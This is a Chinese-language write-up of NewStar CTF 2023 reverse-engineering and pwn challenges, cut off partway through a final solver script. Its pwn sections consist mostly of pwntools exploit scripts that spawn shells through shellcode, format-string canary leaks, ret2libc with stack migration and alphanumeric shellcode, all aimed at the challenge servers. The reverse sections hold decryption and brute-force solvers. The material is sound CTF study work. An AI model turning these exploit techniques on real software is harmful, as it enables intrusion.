NewStar2023部分Reverse与Pwn

Re

easy_re

把flag拆开了,拼起来就行

KE

脱壳

输入加1

ELF

先加密,再base64

直接交发现不对

用下面这种方法把字节转字符串告诉我\x8f不能转化,于是去用python算一下

是下划线,那就在单词之间各加一下划线,且数量刚好对的上

字节类型也可以和数字进行运算

b64decode也可以解字节,最后解完得到的是字节类型,上面的s2也是如此

segments

那就shift+f7

主要还是看语意吧

_flag_和name后面的_都要去掉

AndroXor

最后长度为25

好像有点问题,把o改下划线就行

后来又想了一下,直接将ord(字符)就行,这样就对了

endian(段序)

还以为简单异或随便出,结果我是小丑

好吧加个}就对了,估计是为了格式加的,就有点莫名其妙😒😒

也可以long_to_bytes直接转

ezPE

提示修复PE文件头

按博客的思路修,但其实没有20位的标准文件头,只要前四位(50 45 00 00)能对上就好

后半部分类似国赛初赛那题,异或的时候是i还是i+1举个例子就好

0x7D就是’}’,也可以直接反着写

lazy_activitity

贪吃蛇

这是jadx的

直接搜关键词flag,看到有activity,和题目一样,比较关键

点击10000次可以getText(重复性的动作一般都是最后得到flag),找到flag的载体是editText,它在前面加载了editTextTextPersonName2这个资源,R表示资源

直接去搜资源就能找到

GDA的反编译,效果还是有差别

Pwn

ezshellcode

会自动跳转,直接写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from struct import pack
#from LibcSearcher import *

filename='./ezshellcode'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('node5.buuoj.cn',27456)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

shellcode=asm(shellcraft.sh())
sl(shellcode)


inter()

pleee

没法泄露,溢出的一字节直接修改低字节为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from struct import pack
#from LibcSearcher import *

filename='./pwn'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('node5.buuoj.cn',28040)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

payload=b'a'*0x28+b'\x6c'
s(payload)

inter()

Random

期望参数为$0

调用libc的srand函数,发送随机数多试几次就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./pwn'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('node5.buuoj.cn',28967)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])


libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
k = libc.rand()
sl(str(k))

inter()

Week2

Re

PZthon

常规题,pycdc得到源码后直接异或21

AndroGenshin

知道用户名,base64和rc4算法都没改,求password

解rc4得到变表

SMC

检测到调试就退出,说明有反调试

先异或,再函数调用

在跳转处修改ZF的值为1,本质上就是修改执行流程,修改使al=bl也行

此时f7进入,创建函数即可

得到正确流程

Petals

长度为25

逻辑是a1[i]=v5[flag[i]]

那就是简单的求下标

C or C++-1

dnspy竟然还可以打开exe

直接可以逆

R4ndom-1

函数a很奇怪,有反调试,这里也可以不管

找到种子

可以用python演示一下在干嘛

这里把低4字节变成f,再和自身异或,相当于没变

爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
int main(){
char table[256]={
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01,
0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D,
0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4,
0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC,
0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7,
0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2,
0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E,
0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB,
0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C,
0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5,
0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C,
0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D,
0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A,
0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6,
0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E,
0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9,
0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9,
0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99,
0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
};
char s2[42]={0xEE, 0xE6, 0xD7, 0xB2, 0x8A, 0xAB, 0x13, 0x35, 0x02, 0x7B, 0xC9, 0xB9, 0x9C, 0xBA, 0xED, 0x2E,
0xBD, 0x4F, 0xFA, 0xEE, 0xC8, 0xF8, 0xE4, 0x16, 0x82, 0x63, 0x3B, 0x98, 0xF4, 0x14, 0x30, 0x38,
0x07, 0x36, 0x84, 0x3D, 0x0C, 0x36, 0x32, 0xEA, 0x55, 0xA6};
srand(0x5377654E);
for(int i=0;i<42;i++){
int v4=rand();
for(int j=0;j<256;j++){
if(table[j]==s2[i]){
printf("%c",j-v4%255);
break;
}
}

}

return 0;
}

注意win和linux的随机数不一样,这里要到linux去跑

easy_enc

格式为大小写字母

不同的偏移

因为有*的存在,逆的时候不知道加几个256,所以直接爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
a=[0xE8, 0x80, 0x84, 0x08, 0x18, 0x3C, 0x78, 0x68, 0x00, 0x70,
0x7C, 0x94, 0xC8, 0xE0, 0x10, 0xEC, 0xB4, 0xAC, 0x68, 0xA8,
0x0C, 0x1C, 0x90, 0xCC, 0x54, 0x3C, 0x14, 0xDC, 0x30]
s='NewStarCTF'
print(len(a))
flag=''
for i in range(len(a)):
for j in range(65,97+25):
k=j
if j >= 65 and j <= 65+25:
j = ( j - 52) % 26 + 65
elif j >= 97 and j <= 96+25:
j = ( j - 89) % 26 + 97
else:
continue
j += ord(s[i % len(s)])
j = 0xff - j
j *= 52
j=j%256
if j == a[i]:
flag+=chr(k)
break
print(flag)

AndroDbgMe

被混淆了,直接调试

jeb好点,不设断点直接调试

Pwn

canary

格式化字符串%11$p泄露canary然后栈溢出到返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./canary'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('node5.buuoj.cn',27250)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

sys=0x401262
ru("Give me some gift?\n")
sl(b'%11$p')
ru("Oh thanks,There is my gift:\n")
canary=int(io.recv()[2:18],16)
print('canary:',hex(canary))
payload=b'a'*0x28+p64(canary)+b'a'*8+p64(sys)
sl(payload)
inter()

secret_number

格式化字符串泄露canary,但是没必要,还是和上周的Random一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./secretnumber'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('node5.buuoj.cn',25323)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])

libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed=libc.time(0)
libc.srand(seed)

ru("Give me some gift?(0/1)\n")
sl(b'0')
k=libc.rand()
sla("Guess the number",str(k))
inter()

stack_migration

有了栈地址,直接迁移到栈上

没有system的情况下就用ret2libc,注意返回之后栈地址需要重新泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from struct import pack
from ctypes import *


filename='./pwn'
elf = ELF("./pwn")
context(arch=elf.arch,os="linux",log_level="debug")
libc = ELF("./libc.so.6")

debug = 1
if debug:
io = remote('node5.buuoj.cn',29931)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()

def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])

leave_ret=0x4012aa
pop_rdi=0x401333
ret=0x40101a
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=0x4011fb

sa('name:\n',b'a'*8)
ru("I have a small gift for you: ")
stack=int(io.recv(14),16)+8
print("stack:",hex(stack))
payload1=b'a'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload1=payload1.ljust(0x50,b'a')
payload1+=p64(stack)+p64(leave_ret)
ru("more infomation plz:\n")
s(payload1)

ru("maybe I'll see you soon!\n")
puts_addr=get_addr()
print("puts_addr:",hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

sa('name:\n',b'a'*8)
ru("I have a small gift for you: ")
stack=int(io.recv(14),16)+8
print("stack:",hex(stack))
payload2=b'a'*0x8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
payload2=payload2.ljust(0x50,b'a')
payload2+=p64(stack)+p64(leave_ret)
s(payload2)

inter()

shellcode_revenge

这次只能写大写字母和数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./shellcodere'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('node5.buuoj.cn',29173)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def gdb():
gdb.attach(io)
pause(1)
def get_addr():
#return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
return u32(io.recv()[0:4])



payload = b'\x33\x42\x38' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x30' #31 42 30 xor DWORD PTR [rdx+0x30], eax
payload += b'\x33\x42\x37' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x38' #31 42 38 xor DWORD PTR [rdx+0x38], eax
payload += b'\x59'*(0x30-len(payload)) #59 pop rcx
payload += b'\x4e\x44'*2 #syscall 0x4e^0x41=0xf 0x44^0x41=0x5
payload += b'A'*8 #xor key
sl(payload)
sl(b'\x90'*0x50+asm(shellcraft.sh()))

#shellcode='4P1BV4P3BJ1BJ1BVSX3BN1BZSX3BR1BZ0B80BB0BH0BIVX4V1BJSX4V30J0BJ484U38JVZPPEOJ29655CPJJ085PPXPP'
#sl(shellcode)


inter()

Week3

Re

hua

经典花指令

解rc4

STL

调试的时候能很好解决数据提取问题

有<<15的存在考虑用z3

用z3求得v7数组

拆成44个字符,相邻异或之后再翻转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
enc1=[1359286798, 84564308, 592899, 404707156, 408356433, 22873420, 1398229781, 35407879, 1426413319, 471422726, 1711934726]
def uint322byte(uint32_list):
byte_array = []
for number in uint32_list:
byte_array.append(number & 0xFF)
byte_array.append((number >> 8) & 0xFF)
byte_array.append((number >> 16) & 0xFF)
byte_array.append((number >> 24) & 0xFF)
return byte_array
enc1_byte = uint322byte(enc1)
# for i in range(len(enc1_byte)):
# print(hex(enc1_byte[i]),end=",")

a=[0xe,0x12,0x5,0x51,0x54,0x59,0xa,0x5,0x3,0xc,0x9,0x0,0x54,0x57,0x1f,0x18,0x51,0x6,0x57,0x18,0x4c,0x5,0x5d,0x1,0x15,0x4b,0x57,0x53,0x7,0x48,0x1c,0x2,0x7,0x57,0x5,0x55,0x6,0x57,0x19,0x1c,0x6,0xd,0xa,0x66]
print(len(a))
flag='f'
for i in range(len(a)-1,0,-1):
a[i-1]^=a[i]
flag=chr(a[i-1])+flag
flag=flag[::-1]
print(flag)

ezDll

魔改tea

同时注意有反调试,看上面应该是不调试获得正确密文,所以这里第一个key是5而不是6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 999999999, sum = delta * num_rounds + 1;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 3) ^ (v0 >> 4)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 3) ^ (v1 >> 4)) + v1) ^ (sum + key[sum & 3]);

}
v[0] = v0; v[1] = v1;
}

int main() {
uint32_t const k[4] = {5,20,13,14};
uint32_t enc[] = {
0x89A34382, 0xC880BA6F, 0xBD56B4F8, 0x8DB241B3, 0x040E44DA,
0xDE382E03, 0x89AD5412, 0x21633095, 0x11940DDF, 0x11D0B2DC};
unsigned int r = 33;
for(int i=8; i>=0; i-=2){
decrypt(r, &enc[i], k);
}
printf("%s\n",(char*)enc);
return 0;
}
//flag{Ca1l_y0u_3ven_1f_w3_@r3_f@r_Apart!}

ez_chal

又是魔改tea

调试得到真正的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void decrypt(uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x61C88747, sum = delta * (-64);
for (i=0; i < 64; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3])^v0;
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3])^v1;

}
v[0] = v0; v[1] = v1;
}

int main() {
uint32_t const k[4] = {0x5377654E,0x21726174,0x5377654E,0x21726174};
uint32_t enc[] = {0xC19EA29C,0xDC091F87,0x91F6E33B,0xF69A5C7A,0x93529F20,0x8A5B94E1,0xF91D069B,0x23B0E340};
for(int i=0; i<8; i+=2){
decrypt(&enc[i], k);
}
printf("%s\n",(char*)enc);
return 0;
}
//flag{Let's_Dr1nk_A_Cup_Of_Te4!!}NewStar!NewStar!

pyexe-1

最后要爆破

被加密了

结合pycdc和uncompyle6尝试理解代码逻辑

从调试来看应该是删了下标为5和-3的元素,告诉我md5最后应该是要爆破,但是key看了一眼010,不是直接异或,因为被加密的pyc前四位不一样,没思路了

在反编译python生成可执行文件exe时,引用的类库文件经常遇到使用Crypto模块AES算法加密,解包生成的并不是pyc文件,而是加密的pyc.encrypted文件,它无法查看编译。解包完成后将在根目录形成名为 pyimod00_crypto_key.pyc 的文件,将它转为py文件即可查看key文件

然后用脚本解密,需要注意版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import glob
import zlib
import tinyaes
from pathlib import Path

CRYPT_BLOCK_SIZE = 16

# key obtained from pyimod00_crypto_key
key = bytes('00000000new1star', 'utf-8')

for p in Path("./fakekey.exe_extracted/PYZ-00.pyz_extracted").glob("**/*.pyc.encrypted"):
inf = open(p, 'rb') # encrypted file input
outf = open(p.with_name(p.stem), 'wb') # output file

# Initialization vector
iv = inf.read(CRYPT_BLOCK_SIZE)

cipher = tinyaes.AES(key, iv)

# Decrypt and decompress
plaintext = zlib.decompress(cipher.CTR_xcrypt_buffer(inf.read()))

# Write pyc header
# The header below is for Python 3.8
outf.write(b'\x55\x0d\x0d\x0a\0\0\0\0\0\0\0\0\0\0\0\0')

# Write decrypted data
outf.write(plaintext)

inf.close()
outf.close()

# Delete .pyc.encrypted file
p.unlink()
"""
Python 2.7: \x03\xf3\x0d\x0a\0\0\0\0
Python 3.0: \x3b\x0c\x0d\x0a\0\0\0\0
Python 3.1: \x4f\x0c\x0d\x0a\0\0\0\0
Python 3.2: \x6c\x0c\x0d\x0a\0\0\0\0
Python 3.3: \x9e\x0c\x0d\x0a\0\0\0\0\0\0\0\0
Python 3.4: \xee\x0c\x0d\x0a\0\0\0\0\0\0\0\0
Python 3.5: \x17\x0d\x0d\x0a\0\0\0\0\0\0\0\0
Python 3.6: \x33\x0d\x0d\x0a\0\0\0\0\0\0\0\0
Python 3.7: \x42\x0d\x0d\x0a\0\0\0\0\0\0\0\0\0\0\0\0
Python 3.8: \x55\x0d\x0d\x0a\0\0\0\0\0\0\0\0\0\0\0\0
Python 3.9: \x61\x0d\x0d\x0a\0\0\0\0\0\0\0\0\0\0\0\0
Python 3.10: \x6f\x0d\x0d\x0a\0\0\0\0\0\0\0\0\0\0\0\0
"""

和我想的一样

还是挺牛的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- encoding: utf8 -*-
import base64
import hashlib
def rc4(plaintext):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# 生成密钥流
i = j = 0
keystream = []
for _ in range(len(plaintext)):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
keystream.append(k)
ciphertext = []
for i in range(len(plaintext)):
ciphertext.append(ord(plaintext[i]) ^ keystream[i] ^ 5)
return ciphertext
def decode2(encoded_str):
decoded_str = base64.b64decode(encoded_str).decode()
return [ord(t) for t in decoded_str]
def decode(data):
for a in range(256):
for b in range(256):
tmp_list = data[:5]+ [a] +data[5:-2]+ [ b,data[-2],data[-1]] #拼接还原
string_tmp = "".join([chr(t) for t in tmp_list])
flag = "".join([chr(t) for t in rc4(string_tmp)])
if hashlib.md5(flag.encode()).hexdigest()[:6] == "cbd746":
print(flag)
a = b'IMKJw4jCkgQxw6A1w5QRw7A5SG14wobDs8KF'
key = b'new_star'
decode(decode2(a))
# flag{no_ke1_no_fuN!}

Let’s Go

交叉引用iv

绕过之后得到iv

这题难道是大端序?,反正可以多试试,且nopaddding有和没有还是不一样的

1
2
3
4
5
6
7
8
from Crypto.Cipher import AES
enc = bytes.fromhex("ee01674b13ff8dd86f8e481aa86f5d25e773a3fd0338f60988cb738b8b178c44")
key = b"NewStar!NewStar!"
iv = b"|WEaFS@\x13|WEaFS@\x13"
aes = AES.new(key, mode=AES.MODE_CBC, iv=iv)
print(aes.decrypt(enc))

# flag{It's_time_to_Go!!!Let's_Go}

AndroNative-1

test是base64变表

v22赋完值(0~0xff)后,进行了_ROL2_移位

ROL有两个参数:(value, int count)

第一个参数为左移的数,第二个参数为左移的位数,如果第二个参数值为负数,则实际上为循环右移 -count位

该函数的实现细节为:

先得到value的位数,然后count对位数取模。

如果count值大于0,则先右移-count取模的结果,然后在左移取模的结果,得到的两个数相或,即为循环左移的结果;如果count值小于0,先左移再右移

举例来说: value = 0110, count = 6,value为4位数, 6 % 4 = 2,0110先右移4-2=2位,得到0001,然后再左移2位,得到1000,0001 | 1000结果为1001,即循环左移结果为1001

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdint.h>

uint16_t __ROL2__(uint16_t value, int count) {
return (value << count) | (value >> (16 - count));
}

int main() {
uint16_t v22[128]; // 128个uint16_t等于16个__int128

// 初始化v22,每两个字节存储为一个uint16_t
uint16_t initData[16][8] = {
{0x0100, 0x0302, 0x0504, 0x0706, 0x0908, 0x0B0A, 0x0D0C, 0x0F0E},
{0x1110, 0x1312, 0x1514, 0x1716, 0x1918, 0x1B1A, 0x1D1C, 0x1F1E},
{0x2120, 0x2322, 0x2524, 0x2726, 0x2928, 0x2B2A, 0x2D2C, 0x2F2E},
{0x3130, 0x3332, 0x3534, 0x3736, 0x3938, 0x3B3A, 0x3D3C, 0x3F3E},
{0x4140, 0x4342, 0x4544, 0x4746, 0x4948, 0x4B4A, 0x4D4C, 0x4F4E},
{0x5150, 0x5352, 0x5554, 0x5756, 0x5958, 0x5B5A, 0x5D5C, 0x5F5E},
{0x6160, 0x6362, 0x6564, 0x6766, 0x6968, 0x6B6A, 0x6D6C, 0x6F6E},
{0x7170, 0x7372, 0x7574, 0x7776, 0x7978, 0x7B7A, 0x7D7C, 0x7F7E},
{0x8180, 0x8382, 0x8584, 0x8786, 0x8988, 0x8B8A, 0x8D8C, 0x8F8E},
{0x9190, 0x9392, 0x9594, 0x9796, 0x9998, 0x9B9A, 0x9D9C, 0x9F9E},
{0xA1A0, 0xA3A2, 0xA5A4, 0xA7A6, 0xA9A8, 0xABAA, 0xADAC, 0xAFAE},
{0xB1B0, 0xB3B2, 0xB5B4, 0xB7B6, 0xB9B8, 0xBBBA, 0xBDBC, 0xBFBE},
{0xC1C0, 0xC3C2, 0xC5C4, 0xC7C6, 0xC9C8, 0xCBCA, 0xCDCC, 0xCFCE},
{0xD1D0, 0xD3D2, 0xD5D4, 0xD7D6, 0xD9D8, 0xDBDA, 0xDDDC, 0xDFDE},
{0xE1E0, 0xE3E2, 0xE5E4, 0xE7E6, 0xE9E8, 0xEBEA, 0xEDEC, 0xEFEE},
{0xF1F0, 0xF3F2, 0xF5F4, 0xF7F6, 0xF9F8, 0xFBFA, 0xFDFC, 0xFFFE},
};

for(int i = 0; i < 16; i++) {
for(int j = 0; j < 8; j++) {
v22[i * 8 + j] = initData[i][j];
}
}

for(int i = 1; i < 127; i += 2) {
v22[i] = __ROL2__(v22[i], 8);
v22[i+1] = __ROL2__(v22[i+1], 8);
}
for(int i = 0; i < 128; i++) {
printf("%d, %d", v22[i] & 0xFF, (v22[i] >> 8) & 0xFF);
if (i != 127) {
printf(", ");
}
if (i % 8 == 7) {
printf("\n");
}
}

return 0;
}

/*
0, 1, 3, 2, 5, 4, 7, 6, 9, 8, 11, 10, 13, 12, 15, 14,
17, 16, 19, 18, 21, 20, 23, 22, 25, 24, 27, 26, 29, 28, 31, 30,
33, 32, 35, 34, 37, 36, 39, 38, 41, 40, 43, 42, 45, 44, 47, 46,
49, 48, 51, 50, 53, 52, 55, 54, 57, 56, 59, 58, 61, 60, 63, 62,
65, 64, 67, 66, 69, 68, 71, 70, 73, 72, 75, 74, 77, 76, 79, 78,
81, 80, 83, 82, 85, 84, 87, 86, 89, 88, 91, 90, 93, 92, 95, 94,
97, 96, 99, 98, 101, 100, 103, 102, 105, 104, 107, 106, 109, 108, 111, 110,
113, 112, 115, 114, 117, 116, 119, 118, 121, 120, 123, 122, 125, 124, 127, 126,
129, 128, 131, 130, 133, 132, 135, 134, 137, 136, 139, 138, 141, 140, 143, 142,
145, 144, 147, 146, 149, 148, 151, 150, 153, 152, 155, 154, 157, 156, 159, 158,
161, 160, 163, 162, 165, 164, 167, 166, 169, 168, 171, 170, 173, 172, 175, 174,
177, 176, 179, 178, 181, 180, 183, 182, 185, 184, 187, 186, 189, 188, 191, 190,
193, 192, 195, 194, 197, 196, 199, 198, 201, 200, 203, 202, 205, 204, 207, 206,
209, 208, 211, 210, 213, 212, 215, 214, 217, 216, 219, 218, 221, 220, 223, 222,
225, 224, 227, 226, 229, 228, 231, 230, 233, 232, 235, 234, 237, 236, 239, 238,
241, 240, 243, 242, 245, 244, 247, 246, 249, 248, 251, 250, 253, 252, 254, 255
*/

之后是ROL1,再异或key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64
def custom_base64_decode(data):
custom_chars = 'TcdXDE6oNOPQRUepFGHwxfIJKnklSqrsyz+/LYZVW123ij789ABCMtuvgab045hm'
base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
char_map = str.maketrans( custom_chars, base64_chars)

data = data.translate(char_map)

decoded_data = base64.b64decode(data.encode())
return decoded_data
enc = '6DTNDRc1uJyyyd/GrT+bW3NNIoXzPQyK722kicTTFTTySTzyRE+BWdXnW6zF7UY9iUZK27QN'

result = list(custom_base64_decode(enc))
print(result)

box = [0, 1, 3, 2, 5, 4, 7, 6, 9, 8, 11, 10, 13, 12, 15, 14,
17, 16, 19, 18, 21, 20, 23, 22, 25, 24, 27, 26, 29, 28, 31, 30,
33, 32, 35, 34, 37, 36, 39, 38, 41, 40, 43, 42, 45, 44, 47, 46,
49, 48, 51, 50, 53, 52, 55, 54, 57, 56, 59, 58, 61, 60, 63, 62,
65, 64, 67, 66, 69, 68, 71, 70, 73, 72, 75, 74, 77, 76, 79, 78,
